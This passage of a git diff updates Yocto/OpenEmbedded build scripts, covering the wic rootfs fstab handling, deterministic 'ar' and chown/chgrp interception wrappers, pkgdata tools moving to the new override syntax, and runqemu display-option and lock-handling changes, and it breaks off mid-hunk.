@@ -94,6 +94,7 @@ class RootfsPlugin(SourcePlugin):
"it is not a valid path, exiting" % part.rootfs_dir)
part.rootfs_dir = cls.__get_rootfs_dir(rootfs_dir)
+ part.has_fstab = os.path.exists(os.path.join(part.rootfs_dir, "etc/fstab"))
pseudo_dir = os.path.join(part.rootfs_dir, "../pseudo")
if not os.path.lexists(pseudo_dir):
logger.warn("%s folder does not exist. "
@@ -103,9 +104,9 @@ class RootfsPlugin(SourcePlugin):
new_rootfs = None
new_pseudo = None
# Handle excluded paths.
- if part.exclude_path or part.include_path or part.change_directory:
- # We need a new rootfs directory we can delete files from. Copy to
- # workdir.
+ if part.exclude_path or part.include_path or part.change_directory or part.update_fstab_in_rootfs:
+ # We need a new rootfs directory we can safely modify without
+ # interfering with other tasks. Copy to workdir.
new_rootfs = os.path.realpath(os.path.join(cr_workdir, "rootfs%d" % part.lineno))
if os.path.lexists(new_rootfs):
@@ -199,17 +200,33 @@ class RootfsPlugin(SourcePlugin):
if not os.path.lexists(full_path):
continue
+ if new_pseudo:
+ pseudo = cls.__get_pseudo(native_sysroot, new_rootfs, new_pseudo)
+ else:
+ pseudo = None
if path.endswith(os.sep):
# Delete content only.
for entry in os.listdir(full_path):
full_entry = os.path.join(full_path, entry)
- if os.path.isdir(full_entry) and not os.path.islink(full_entry):
- shutil.rmtree(full_entry)
- else:
- os.remove(full_entry)
+ rm_cmd = "rm -rf %s" % (full_entry)
+ exec_native_cmd(rm_cmd, native_sysroot, pseudo)
else:
# Delete whole directory.
- shutil.rmtree(full_path)
+ rm_cmd = "rm -rf %s" % (full_path)
+ exec_native_cmd(rm_cmd, native_sysroot, pseudo)
+
+ # Update part.has_fstab here as fstab may have been added or
+ # removed by the above modifications.
+ part.has_fstab = os.path.exists(os.path.join(new_rootfs, "etc/fstab"))
+ if part.update_fstab_in_rootfs and part.has_fstab and not part.no_fstab_update:
+ fstab_path = os.path.join(new_rootfs, "etc/fstab")
+ # Assume that fstab should always be owned by root with fixed permissions
+ install_cmd = "install -m 0644 %s %s" % (part.updated_fstab_path, fstab_path)
+ if new_pseudo:
+ pseudo = cls.__get_pseudo(native_sysroot, new_rootfs, new_pseudo)
+ else:
+ pseudo = None
+ exec_native_cmd(install_cmd, native_sysroot, pseudo)
part.prepare_rootfs(cr_workdir, oe_builddir,
new_rootfs or part.rootfs_dir, native_sysroot,
diff --git a/scripts/lnr b/scripts/lnr
deleted file mode 100755
index a2ac4fec0f..0000000000
--- a/scripts/lnr
+++ /dev/null
@@ -1,24 +0,0 @@
-#! /usr/bin/env python3
-#
-# SPDX-License-Identifier: GPL-2.0-only
-#
-
-# Create a *relative* symlink, just like ln --relative does but without needing
-# coreutils 8.16.
-
-import sys, os
-
-if len(sys.argv) != 3:
- print("$ lnr TARGET LINK_NAME")
- sys.exit(1)
-
-target = sys.argv[1]
-linkname = sys.argv[2]
-
-if os.path.isabs(target):
- if not os.path.isabs(linkname):
- linkname = os.path.abspath(linkname)
- start = os.path.dirname(linkname)
- target = os.path.relpath(target, start)
-
-os.symlink(target, linkname)
diff --git a/scripts/native-intercept/ar b/scripts/native-intercept/ar
new file mode 100755
index 0000000000..dcc623e3ed
--- /dev/null
+++ b/scripts/native-intercept/ar
@@ -0,0 +1,32 @@
+#!/usr/bin/env python3
+#
+# Wrapper around 'ar' that defaults to deterministic archives
+
+import os
+import shutil
+import sys
+
+# calculate path to the real 'ar'
+path = os.environ['PATH']
+path = path.replace(os.path.dirname(sys.argv[0]), '')
+real_ar = shutil.which('ar', path=path)
+
+if len(sys.argv) == 1:
+ os.execl(real_ar, 'ar')
+
+# modify args to mimic 'ar' configured with --default-deterministic-archives
+argv = sys.argv
+if argv[1].startswith('--'):
+ # No modifier given
+ None
+else:
+ # remove the optional '-'
+ if argv[1][0] == '-':
+ argv[1] = argv[1][1:]
+ if 'U' in argv[1]:
+ sys.stderr.write("ar: non-deterministic mode requested\n")
+ else:
+ argv[1] = argv[1].replace('u', '')
+ argv[1] = 'D' + argv[1]
+
+os.execv(real_ar, argv)
diff --git a/scripts/nativesdk-intercept/chgrp b/scripts/nativesdk-intercept/chgrp
new file mode 100755
index 0000000000..30cc417d3a
--- /dev/null
+++ b/scripts/nativesdk-intercept/chgrp
@@ -0,0 +1,27 @@
+#!/usr/bin/env python3
+#
+# Wrapper around 'chgrp' that redirects to root in all cases
+
+import os
+import shutil
+import sys
+
+# calculate path to the real 'chgrp'
+path = os.environ['PATH']
+path = path.replace(os.path.dirname(sys.argv[0]), '')
+real_chgrp = shutil.which('chgrp', path=path)
+
+args = list()
+
+found = False
+for i in sys.argv:
+ if i.startswith("-"):
+ args.append(i)
+ continue
+ if not found:
+ args.append("root")
+ found = True
+ else:
+ args.append(i)
+
+os.execv(real_chgrp, args)
diff --git a/scripts/nativesdk-intercept/chown b/scripts/nativesdk-intercept/chown
new file mode 100755
index 0000000000..3914b3e384
--- /dev/null
+++ b/scripts/nativesdk-intercept/chown
@@ -0,0 +1,27 @@
+#!/usr/bin/env python3
+#
+# Wrapper around 'chown' that redirects to root in all cases
+
+import os
+import shutil
+import sys
+
+# calculate path to the real 'chown'
+path = os.environ['PATH']
+path = path.replace(os.path.dirname(sys.argv[0]), '')
+real_chown = shutil.which('chown', path=path)
+
+args = list()
+
+found = False
+for i in sys.argv:
+ if i.startswith("-"):
+ args.append(i)
+ continue
+ if not found:
+ args.append("root:root")
+ found = True
+ else:
+ args.append(i)
+
+os.execv(real_chown, args)
diff --git a/scripts/oe-buildenv-internal b/scripts/oe-buildenv-internal
index ba0a9b44d6..e0d920f2fc 100755
--- a/scripts/oe-buildenv-internal
+++ b/scripts/oe-buildenv-internal
@@ -88,6 +88,10 @@ if [ ! -d "$BITBAKEDIR" ]; then
return 1
fi
+# Add BitBake's library to PYTHONPATH
+PYTHONPATH=$BITBAKEDIR/lib:$PYTHONPATH
+export PYTHONPATH
+
# Make sure our paths are at the beginning of $PATH
for newpath in "$BITBAKEDIR/bin" "$OEROOT/scripts"; do
# Remove any existences of $newpath from $PATH
diff --git a/scripts/oe-check-sstate b/scripts/oe-check-sstate
index ca249ca67b..59bcb32a8c 100755
--- a/scripts/oe-check-sstate
+++ b/scripts/oe-check-sstate
@@ -47,8 +47,8 @@ def check(args):
try:
env = os.environ.copy()
if not args.same_tmpdir:
- env['BB_ENV_EXTRAWHITE'] = env.get('BB_ENV_EXTRAWHITE', '') + ' TMPDIR_forcevariable'
- env['TMPDIR_forcevariable'] = tmpdir
+ env['BB_ENV_EXTRAWHITE'] = env.get('BB_ENV_EXTRAWHITE', '') + ' TMPDIR:forcevariable'
+ env['TMPDIR:forcevariable'] = tmpdir
try:
output = subprocess.check_output(
diff --git a/scripts/oe-debuginfod b/scripts/oe-debuginfod
new file mode 100755
index 0000000000..9e5482d869
--- /dev/null
+++ b/scripts/oe-debuginfod
@@ -0,0 +1,26 @@
+#!/usr/bin/env python3
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os
+import sys
+scripts_path = os.path.dirname(os.path.realpath(__file__))
+lib_path = scripts_path + "/lib"
+sys.path.insert(0, lib_path)
+import scriptpath
+scriptpath.add_bitbake_lib_path()
+
+import bb.tinfoil
+import subprocess
+
+if __name__ == "__main__":
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.prepare(config_only=True)
+ package_classes_var = "DEPLOY_DIR_" + tinfoil.config_data.getVar("PACKAGE_CLASSES").split()[0].replace("package_", "").upper()
+ feed_dir = tinfoil.config_data.getVar(package_classes_var, expand=True)
+
+ subprocess.call(['bitbake', '-c', 'addto_recipe_sysroot', 'elfutils-native'])
+
+ subprocess.call(['oe-run-native', 'elfutils-native', 'debuginfod', '--verbose', '-R', '-U', feed_dir])
+ print("\nTo use the debuginfod server please ensure that this variable PACKAGECONFIG:pn-elfutils-native = \"debuginfod libdebuginfod\" is set in the local.conf")
diff --git a/scripts/oe-pkgdata-browser b/scripts/oe-pkgdata-browser
index 8d223185a4..a3a381923b 100755
--- a/scripts/oe-pkgdata-browser
+++ b/scripts/oe-pkgdata-browser
@@ -49,11 +49,11 @@ def load(filename, suffix=None):
from configparser import ConfigParser
from itertools import chain
- parser = ConfigParser()
+ parser = ConfigParser(delimiters=('='))
if suffix:
- parser.optionxform = lambda option: option.replace("_" + suffix, "")
+ parser.optionxform = lambda option: option.replace(":" + suffix, "")
with open(filename) as lines:
- lines = chain(("[fake]",), lines)
+ lines = chain(("[fake]",), (line.replace(": ", " = ", 1) for line in lines))
parser.read_file(lines)
# TODO extract the data and put it into a real dict so we can transform some
@@ -236,6 +236,8 @@ class PkgUi():
update_deps("RPROVIDES", "Provides: ", self.provides_label, clickable=False)
def load_recipes(self):
+ if not os.path.exists(pkgdata):
+ sys.exit("Error: Please ensure %s exists by generating packages before using this tool." % pkgdata)
for recipe in sorted(os.listdir(pkgdata)):
if os.path.isfile(os.path.join(pkgdata, recipe)):
self.recipe_iters[recipe] = self.recipe_store.append([recipe])
diff --git a/scripts/oe-pkgdata-util b/scripts/oe-pkgdata-util
index 93220e3617..71656dadce 100755
--- a/scripts/oe-pkgdata-util
+++ b/scripts/oe-pkgdata-util
@@ -96,7 +96,7 @@ def glob(args):
pn = os.path.basename(pkgdata_file)
with open(pkgdata_file, 'r') as f:
for line in f:
- if line.startswith("PKG_%s:" % pn):
+ if line.startswith("PKG:%s:" % pn):
renamed = line.split(': ')[1].rstrip()
return renamed
@@ -171,7 +171,7 @@ def read_value(args):
val = line.split(': ', 1)[1].rstrip()
return val
- logger.debug("read-value('%s', '%s' '%s')" % (args.pkgdata_dir, args.valuename, packages))
+ logger.debug("read-value('%s', '%s' '%s')" % (args.pkgdata_dir, args.valuenames, packages))
for package in packages:
pkg_split = package.split('_')
pkg_name = pkg_split[0]
@@ -180,20 +180,29 @@ def read_value(args):
logger.debug(revlink)
if os.path.exists(revlink):
mappedpkg = os.path.basename(os.readlink(revlink))
- qvar = args.valuename
- value = readvar(revlink, qvar, mappedpkg)
- if qvar == "PKGSIZE":
- # PKGSIZE is now in bytes, but we we want it in KB
- pkgsize = (int(value) + 1024 // 2) // 1024
- value = "%d" % pkgsize
- if args.unescape:
- import codecs
- # escape_decode() unescapes backslash encodings in byte streams
- value = codecs.escape_decode(bytes(value, "utf-8"))[0].decode("utf-8")
+ qvars = args.valuenames
+ val_names = qvars.split(',')
+ values = []
+ for qvar in val_names:
+ if qvar == "PACKAGE":
+ value = mappedpkg
+ else:
+ value = readvar(revlink, qvar, mappedpkg)
+ if qvar == "PKGSIZE":
+ # PKGSIZE is now in bytes, but we we want it in KB
+ pkgsize = (int(value) + 1024 // 2) // 1024
+ value = "%d" % pkgsize
+ if args.unescape:
+ import codecs
+ # escape_decode() unescapes backslash encodings in byte streams
+ value = codecs.escape_decode(bytes(value, "utf-8"))[0].decode("utf-8")
+ values.append(value)
+
+ values_str = ' '.join(values)
if args.prefix_name:
- print('%s %s' % (pkg_name, value))
+ print('%s %s' % (pkg_name, values_str))
else:
- print(value)
+ print(values_str)
else:
logger.debug("revlink %s does not exist", revlink)
@@ -213,7 +222,7 @@ def lookup_pkglist(pkgs, pkgdata_dir, reverse):
with open(pkgfile, 'r') as f:
for line in f:
fields = line.rstrip().split(': ')
- if fields[0] == 'PKG_%s' % pkg:
+ if fields[0] == 'PKG:%s' % pkg:
mappings[pkg].append(fields[1])
break
return mappings
@@ -431,7 +440,7 @@ def list_pkg_files(args):
for line in f:
if line.startswith('FILES_INFO:'):
found = True
- val = line.split(':', 1)[1].strip()
+ val = line.split(': ', 1)[1].strip()
dictval = json.loads(val)
if long:
width = max(map(len, dictval), default=0)
@@ -500,7 +509,7 @@ def find_path(args):
with open(os.path.join(root,fn)) as f:
for line in f:
if line.startswith('FILES_INFO:'):
- val = line.split(':', 1)[1].strip()
+ val = line.split(': ', 1)[1].strip()
dictval = json.loads(val)
for fullpth in dictval.keys():
if fnmatch.fnmatchcase(fullpth, args.targetpath):
@@ -570,7 +579,7 @@ def main():
parser_read_value = subparsers.add_parser('read-value',
help='Read any pkgdata value for one or more packages',
description='Reads the named value from the pkgdata files for the specified packages')
- parser_read_value.add_argument('valuename', help='Name of the value to look up')
+ parser_read_value.add_argument('valuenames', help='Name of the value/s to look up (separated by commas, no spaces)')
parser_read_value.add_argument('pkg', nargs='*', help='Runtime package name to look up')
parser_read_value.add_argument('-f', '--file', help='Read package names from the specified file (one per line, first field only)')
parser_read_value.add_argument('-n', '--prefix-name', help='Prefix output with package name', action='store_true')
@@ -598,6 +607,9 @@ def main():
logger.error("Unable to find bitbake by searching parent directory of this script or PATH")
sys.exit(1)
logger.debug('Found bitbake path: %s' % bitbakepath)
+ if not os.environ.get('BUILDDIR', ''):
+ logger.error("This script can only be run after initialising the build environment (e.g. by using oe-init-build-env)")
+ sys.exit(1)
tinfoil = tinfoil_init()
try:
args.pkgdata_dir = tinfoil.config_data.getVar('PKGDATA_DIR')
diff --git a/scripts/oe-publish-sdk b/scripts/oe-publish-sdk
index deb8ae1807..b8a652e47f 100755
--- a/scripts/oe-publish-sdk
+++ b/scripts/oe-publish-sdk
@@ -107,9 +107,9 @@ def publish(args):
# Setting up the git repo
if not is_remote:
- cmd = 'set -e; mkdir -p %s/layers; cd %s/layers; if [ ! -e .git ]; then git init .; cp .git/hooks/post-update.sample .git/hooks/post-commit; echo "*.pyc\n*.pyo\npyshtables.py" > .gitignore; fi; git add -A .; git config user.email "oe@oe.oe" && git config user.name "OE" && git commit -q -m "init repo" || true' % (destination, destination)
+ cmd = 'set -e; mkdir -p %s/layers; cd %s/layers; if [ ! -e .git ]; then git init .; cp .git/hooks/post-update.sample .git/hooks/post-commit; echo "*.pyc\n*.pyo\npyshtables.py" > .gitignore; fi; git config gc.auto 0; git add -A .; git config user.email "oe@oe.oe" && git config user.name "OE" && git commit -q -m "init repo" || true' % (destination, destination)
else:
- cmd = "ssh %s 'set -e; mkdir -p %s/layers; cd %s/layers; if [ ! -e .git ]; then git init .; cp .git/hooks/post-update.sample .git/hooks/post-commit; echo '*.pyc' > .gitignore; echo '*.pyo' >> .gitignore; echo 'pyshtables.py' >> .gitignore; fi; git add -A .; git config user.email 'oe@oe.oe' && git config user.name 'OE' && git commit -q -m \"init repo\" || true'" % (host, destdir, destdir)
+ cmd = "ssh %s 'set -e; mkdir -p %s/layers; cd %s/layers; if [ ! -e .git ]; then git init .; cp .git/hooks/post-update.sample .git/hooks/post-commit; echo '*.pyc' > .gitignore; echo '*.pyo' >> .gitignore; echo 'pyshtables.py' >> .gitignore; fi; git config gc.auto 0; git add -A .; git config user.email 'oe@oe.oe' && git config user.name 'OE' && git commit -q -m \"init repo\" || true'" % (host, destdir, destdir)
ret = subprocess.call(cmd, shell=True)
if ret == 0:
logger.info('SDK published successfully')
diff --git a/scripts/oe-run-native b/scripts/oe-run-native
index 4e63e69cc4..22958d97e7 100755
--- a/scripts/oe-run-native
+++ b/scripts/oe-run-native
@@ -43,7 +43,7 @@ fi
OLD_PATH=$PATH
# look for a tool only in native sysroot
-PATH=$OECORE_NATIVE_SYSROOT/usr/bin:$OECORE_NATIVE_SYSROOT/bin:$OECORE_NATIVE_SYSROOT/usr/sbin:$OECORE_NATIVE_SYSROOT/sbin$(find $OECORE_NATIVE_SYSROOT/usr/bin/*-native -maxdepth 1 -type d -printf ":%p")
+PATH=$OECORE_NATIVE_SYSROOT/usr/bin:$OECORE_NATIVE_SYSROOT/bin:$OECORE_NATIVE_SYSROOT/usr/sbin:$OECORE_NATIVE_SYSROOT/sbin$(find $OECORE_NATIVE_SYSROOT/usr/bin -maxdepth 1 -name "*-native" -type d -printf ":%p")
tool_find=`/usr/bin/which $tool 2>/dev/null`
if [ -n "$tool_find" ] ; then
diff --git a/scripts/oe-setup-builddir b/scripts/oe-setup-builddir
index 30eaa8efbe..5a51fa793f 100755
--- a/scripts/oe-setup-builddir
+++ b/scripts/oe-setup-builddir
@@ -113,10 +113,10 @@ if [ ! -z "$SHOWYPDOC" ]; then
cat <<EOM
The Yocto Project has extensive documentation about OE including a reference
manual which can be found at:
- http://yoctoproject.org/documentation
+ https://docs.yoctoproject.org
For more information about OpenEmbedded see their website:
- http://www.openembedded.org/
+ https://www.openembedded.org/
EOM
# unset SHOWYPDOC
diff --git a/scripts/oe-time-dd-test.sh b/scripts/oe-time-dd-test.sh
new file mode 100755
index 0000000000..386de83dce
--- /dev/null
+++ b/scripts/oe-time-dd-test.sh
@@ -0,0 +1,102 @@
+#!/bin/bash
+#
+# oe-time-dd-test records how much time it takes to
+# write <count> number of kilobytes to the filesystem.
+# It also records the number of processes that are in
+# running (R), uninterruptible sleep (D) and interruptible
+# sleep (S) state from the output of "top" command.
+# The purporse of this script is to find which part of
+# the build system puts stress on the filesystem io and
+# log all the processes.
+usage() {
+ echo "$0 is used to detect i/o latency and runs commands to display host information."
+ echo "The following commands are run in order:"
+ echo "1) top -c -b -n1 -w 512"
+ echo "2) iostat -y -z -x 5 1"
+ echo "3) tail -30 tmp*/log/cooker/*/console-latest.log to gather cooker log."
+ echo " "
+ echo "Options:"
+ echo "-c | --count <amount> dd (transfer) <amount> KiB of data within specified timeout to detect latency."
+ echo " Must enable -t option."
+ echo "-t | --timeout <time> timeout in seconds for the <count> amount of data to be transferred."
+ echo "-l | --log-only run the commands without performing the data transfer."
+ echo "-h | --help show help"
+
+}
+
+run_cmds() {
+ echo "start: top output"
+ top -c -b -n1 -w 512
+ echo "end: top output"
+ echo "start: iostat"
+ iostat -y -z -x 5 1
+ echo "end: iostat"
+ echo "start: cooker log"
+ tail -30 tmp*/log/cooker/*/console-latest.log
+ echo "end: cooker log"
+}
+
+if [ $# -lt 1 ]; then
+ usage
+ exit 1
+fi
+
+re_c='^[0-9]+$'
+#re_t='^[0-9]+([.][0-9]+)?$'
+
+while [[ $# -gt 0 ]]; do
+ key="$1"
+
+ case $key in
+ -c|--count)
+ COUNT=$2
+ shift
+ shift
+ if ! [[ $COUNT =~ $re_c ]] || [[ $COUNT -le 0 ]] ; then
+ usage
+ exit 1
+ fi
+ ;;
+ -t|--timeout)
+ TIMEOUT=$2
+ shift
+ shift
+ if ! [[ $TIMEOUT =~ $re_c ]] || [[ $TIMEOUT -le 0 ]] ; then
+ usage
+ exit 1
+ fi
+ ;;
+ -l|--log-only)
+ LOG_ONLY="true"
+ shift
+ shift
+ ;;
+ -h|--help)
+ usage
+ exit 0
+ ;;
+ *)
+ usage
+ exit 1
+ ;;
+ esac
+done
+
+
+if [ "$LOG_ONLY" = "true" ] ; then
+ uptime
+ run_cmds
+ exit
+fi
+
+if [ -z ${TIMEOUT+x} ] || [ -z ${COUNT+x} ] ; then
+ usage
+ exit 1
+fi
+
+uptime
+echo "Timeout used: ${TIMEOUT}"
+timeout ${TIMEOUT} dd if=/dev/zero of=oe-time-dd-test.dat bs=1024 count=${COUNT} conv=fsync
+if [ $? -ne 0 ]; then
+ run_cmds
+fi
diff --git a/scripts/oepydevshell-internal.py b/scripts/oepydevshell-internal.py
index 96c078ef3d..e3c35bbe2c 100755
--- a/scripts/oepydevshell-internal.py
+++ b/scripts/oepydevshell-internal.py
@@ -43,7 +43,7 @@ nonblockingfd(pty)
nonblockingfd(sys.stdin)
-histfile = os.path.expanduser("~/.oedevpyshell-history")
+histfile = os.path.expanduser("~/.oepydevshell-history")
readline.parse_and_bind("tab: complete")
try:
readline.read_history_file(histfile)
diff --git a/scripts/pybootchartgui/pybootchartgui/draw.py b/scripts/pybootchartgui/pybootchartgui/draw.py
index 53324b9f8b..fc708b55c3 100644
--- a/scripts/pybootchartgui/pybootchartgui/draw.py
+++ b/scripts/pybootchartgui/pybootchartgui/draw.py
@@ -267,11 +267,14 @@ def draw_chart(ctx, color, fill, chart_bounds, data, proc_tree, data_range):
# avoid divide by zero
if max_y == 0:
max_y = 1.0
- xscale = float (chart_bounds[2]) / (max_x - x_shift)
+ if (max_x - x_shift):
+ xscale = float (chart_bounds[2]) / (max_x - x_shift)
+ else:
+ xscale = float (chart_bounds[2])
# If data_range is given, scale the chart so that the value range in
# data_range matches the chart bounds exactly.
# Otherwise, scale so that the actual data matches the chart bounds.
- if data_range:
+ if data_range and (data_range[1] - data_range[0]):
yscale = float(chart_bounds[3]) / (data_range[1] - data_range[0])
ybase = data_range[0]
else:
diff --git a/scripts/runqemu b/scripts/runqemu
index e5e66f3453..d49f128fe4 100755
--- a/scripts/runqemu
+++ b/scripts/runqemu
@@ -18,6 +18,7 @@ import shutil
import glob
import configparser
import signal
+import time
class RunQemuError(Exception):
"""Custom exception to raise on known errors."""
@@ -65,11 +66,14 @@ of the following environment variables (in any order):
MACHINE - the machine name (optional, autodetected from KERNEL filename if unspecified)
Simplified QEMU command-line options can be passed with:
nographic - disable video console
+ novga - Disable VGA emulation completely
sdl - choose the SDL UI frontend
gtk - choose the Gtk UI frontend
gl - enable virgl-based GL acceleration (also needs gtk or sdl options)
gl-es - enable virgl-based GL acceleration, using OpenGL ES (also needs gtk or sdl options)
egl-headless - enable headless EGL output; use vnc (via publicvnc option) or spice to see it
+ (hint: if /dev/dri/renderD* is absent due to lack of suitable GPU, 'modprobe vgem' will create
+ one sutable for mesa llvmpipe sofware renderer)
serial - enable a serial console on /dev/ttyS0
serialstdio - enable a serial console on the console (regardless of graphics mode)
slirp - enable user networking, no root privileges is required
@@ -94,11 +98,13 @@ Examples:
runqemu qemux86-64 core-image-sato ext4
runqemu qemux86-64 wic-image-minimal wic
runqemu path/to/bzImage-qemux86.bin path/to/nfsrootdir/ serial
- runqemu qemux86 iso/hddimg/wic.vmdk/wic.qcow2/wic.vdi/ramfs/cpio.gz...
+ runqemu qemux86 iso/hddimg/wic.vmdk/wic.vhd/wic.vhdx/wic.qcow2/wic.vdi/ramfs/cpio.gz...
runqemu qemux86 qemuparams="-m 256"
runqemu qemux86 bootparams="psplash=false"
runqemu path/to/<image>-<machine>.wic
runqemu path/to/<image>-<machine>.wic.vmdk
+ runqemu path/to/<image>-<machine>.wic.vhdx
+ runqemu path/to/<image>-<machine>.wic.vhd
""")
def check_tun():
@@ -136,12 +142,12 @@ class BaseConfig(object):
'OE_TMPDIR',
'OECORE_NATIVE_SYSROOT',
'MULTICONFIG',
+ 'SERIAL_CONSOLES',
)
self.qemu_opt = ''
self.qemu_opt_script = ''
self.qemuparams = ''
- self.clean_nfs_dir = False
self.nfs_server = ''
self.rootfs = ''
# File name(s) of a OVMF firmware file or variable store,
@@ -170,6 +176,13 @@ class BaseConfig(object):
self.nfs_running = False
self.serialconsole = False
self.serialstdio = False
+ self.nographic = False
+ self.sdl = False
+ self.gtk = False
+ self.gl = False
+ self.gl_es = False
+ self.egl_headless = False
+ self.novga = False
self.cleantap = False
self.saved_stty = ''
self.audio_enabled = False
@@ -179,7 +192,7 @@ class BaseConfig(object):
self.portlocks = {}
self.bitbake_e = ''
self.snapshot = False
- self.wictypes = ('wic', 'wic.vmdk', 'wic.qcow2', 'wic.vdi')
+ self.wictypes = ('wic', 'wic.vmdk', 'wic.qcow2', 'wic.vdi', "wic.vhd", "wic.vhdx")
self.fstypes = ('ext2', 'ext3', 'ext4', 'jffs2', 'nfs', 'btrfs',
'cpio.gz', 'cpio', 'ramfs', 'tar.bz2', 'tar.gz')
self.vmtypes = ('hddimg', 'iso')
@@ -199,6 +212,8 @@ class BaseConfig(object):
self.qemupid = None
# avoid cleanup twice
self.cleaned = False
+ # Files to cleanup after run
+ self.cleanup_files = []
def acquire_taplock(self, error=True):
logger.debug("Acquiring lockfile %s..." % self.taplock)
@@ -220,9 +235,12 @@ class BaseConfig(object):
def release_taplock(self):
if self.taplock_descriptor:
logger.debug("Releasing lockfile for tap device '%s'" % self.tap)
- fcntl.flock(self.taplock_descriptor, fcntl.LOCK_UN)
+ # We pass the fd to the qemu process and if we unlock here, it would unlock for
+ # that too. Therefore don't unlock, just close
+ # fcntl.flock(self.taplock_descriptor, fcntl.LOCK_UN)
self.taplock_descriptor.close()
- os.remove(self.taplock)
+ # Removing the file is a potential race, don't do that either
+ # os.remove(self.taplock)
self.taplock_descriptor = None
def check_free_port(self, host, port, lockdir):
@@ -260,17 +278,23 @@ class BaseConfig(object):
def release_portlock(self, lockfile=None):
if lockfile != None:
- logger.debug("Releasing lockfile '%s'" % lockfile)
- fcntl.flock(self.portlocks[lockfile], fcntl.LOCK_UN)
- self.portlocks[lockfile].close()
- os.remove(lockfile)
- del self.portlocks[lockfile]
+ logger.debug("Releasing lockfile '%s'" % lockfile)
+ # We pass the fd to the qemu process and if we unlock here, it would unlock for
+ # that too. Therefore don't unlock, just close
+ # fcntl.flock(self.portlocks[lockfile], fcntl.LOCK_UN)
+ self.portlocks[lockfile].close()
+ # Removing the file is a potential race, don't do that either
+ # os.remove(lockfile)
+ del self.portlocks[lockfile]
elif len(self.portlocks):
for lockfile, descriptor in self.portlocks.items():
logger.debug("Releasing lockfile '%s'" % lockfile)
- fcntl.flock(descriptor, fcntl.LOCK_UN)
+ # We pass the fd to the qemu process and if we unlock here, it would unlock for
+ # that too. Therefore don't unlock, just close
+ # fcntl.flock(descriptor, fcntl.LOCK_UN)
descriptor.close()
- os.remove(lockfile)
+ # Removing the file is a potential race, don't do that either
+ # os.remove(lockfile)
self.portlocks = {}
def get(self, key):
@@ -450,48 +474,29 @@ class BaseConfig(object):
if 'gl' not in sys.argv[1:] and 'gl-es' not in sys.argv[1:]:
os.environ['SDL_RENDER_DRIVER'] = 'software'
+ os.environ['SDL_FRAMEBUFFER_ACCELERATION'] = 'false'
unknown_arg = ""
for arg in sys.argv[1:]:
if arg in self.fstypes + self.vmtypes + self.wictypes:
self.check_arg_fstype(arg)
elif arg == 'nographic':
- if ('sdl' in sys.argv):
- raise RunQemuError('Option nographic makes no sense alongside the sdl option.' % (arg))
- if ('gtk' in sys.argv):
- raise RunQemuError('Option nographic makes no sense alongside the gtk option.' % (arg))
- self.qemu_opt_script += ' -nographic'
- self.kernel_cmdline_script += ' console=ttyS0'
+ self.nographic = True
elif arg == 'sdl':
- if 'gl' in sys.argv[1:]:
- self.set_dri_path()
- self.qemu_opt_script += ' -vga virtio -display sdl,gl=on,show-cursor=on'
- elif 'gl-es' in sys.argv[1:]:
- self.set_dri_path()
- self.qemu_opt_script += ' -vga virtio -display sdl,gl=es,show-cursor=on'
- else:
- self.qemu_opt_script += ' -display sdl,show-cursor=on'
+ self.sdl = True
elif arg == 'gtk':
- if 'gl' in sys.argv[1:]:
- self.set_dri_path()
- self.qemu_opt_script += ' -vga virtio -display gtk,gl=on,show-cursor=on'
- elif 'gl-es' in sys.argv[1:]:
- self.set_dri_path()
- self.qemu_opt_script += ' -vga virtio -display gtk,gl=es,show-cursor=on'
- else:
- self.qemu_opt_script += ' -display gtk,show-cursor=on'
- elif arg == 'gl' or arg == 'gl-es':
- # These args are handled inside sdl or gtk blocks above
- if ('gtk' not in sys.argv) and ('sdl' not in sys.argv):
- raise RunQemuError('Option %s also needs gtk or sdl option.' % (arg))
+ self.gtk = True
+ elif arg == 'gl':
+ self.gl = True
+ elif 'gl-es' in sys.argv[1:]:
+ self.gl_es = True
elif arg == 'egl-headless':
- self.set_dri_path()
- self.qemu_opt_script += ' -vga virtio -display egl-headless,show-cursor=on'
+ self.egl_headless = True
+ elif arg == 'novga':
+ self.novga = True
elif arg == 'serial':
- self.kernel_cmdline_script += ' console=ttyS0'
self.serialconsole = True
elif arg == "serialstdio":
- self.kernel_cmdline_script += ' console=ttyS0'
self.serialstdio = True
elif arg == 'audio':
logger.info("Enabling audio in qemu")
@@ -548,13 +553,13 @@ class BaseConfig(object):
def check_kvm(self):
"""Check kvm and kvm-host"""
if not (self.kvm_enabled or self.vhost_enabled):
- self.qemu_opt_script += ' %s %s' % (self.get('QB_MACHINE'), self.get('QB_CPU'))
+ self.qemu_opt_script += ' %s %s %s' % (self.get('QB_MACHINE'), self.get('QB_CPU'), self.get('QB_SMP'))
return
if not self.get('QB_CPU_KVM'):
raise RunQemuError("QB_CPU_KVM is NULL, this board doesn't support kvm")
- self.qemu_opt_script += ' %s %s' % (self.get('QB_MACHINE'), self.get('QB_CPU_KVM'))
+ self.qemu_opt_script += ' %s %s %s' % (self.get('QB_MACHINE'), self.get('QB_CPU_KVM'), self.get('QB_SMP'))
yocto_kvm_wiki = "https://wiki.yoctoproject.org/wiki/How_to_enable_KVM_for_Poky_qemu"
yocto_paravirt_kvm_wiki = "https://wiki.yoctoproject.org/wiki/Running_an_x86_Yocto_Linux_image_under_QEMU_KVM"
dev_kvm = '/dev/kvm'
@@ -774,7 +779,7 @@ class BaseConfig(object):
raise RunQemuError('BIOS not found: %s' % bios_match_name)
if not os.path.exists(self.bios):
- raise RunQemuError("KERNEL %s not found" % self.bios)
+ raise RunQemuError("BIOS %s not found" % self.bios)
def check_mem(self):
@@ -1029,8 +1034,9 @@ class BaseConfig(object):
logger.info('Running %s...' % str(cmd))
if subprocess.call(cmd) != 0:
raise RunQemuError('Failed to run %s' % cmd)
- self.clean_nfs_dir = True
self.rootfs = dest
+ self.cleanup_files.append(self.rootfs)
+ self.cleanup_files.append('%s.pseudo_state' % self.rootfs)
# Start the userspace NFS server
cmd = ('runqemu-export-rootfs', 'start', self.rootfs)
@@ -1203,7 +1209,19 @@ class BaseConfig(object):
return
if 'wic.' in self.fstype:
self.fstype = self.fstype[4:]
- rootfs_format = self.fstype if self.fstype in ('vmdk', 'qcow2', 'vdi') else 'raw'
+ rootfs_format = self.fstype if self.fstype in ('vmdk', 'vhd', 'vhdx', 'qcow2', 'vdi') else 'raw'
+
+ tmpfsdir = os.environ.get("RUNQEMU_TMPFS_DIR", None)
+ if self.snapshot and tmpfsdir:
+ newrootfs = os.path.join(tmpfsdir, os.path.basename(self.rootfs)) + "." + str(os.getpid())
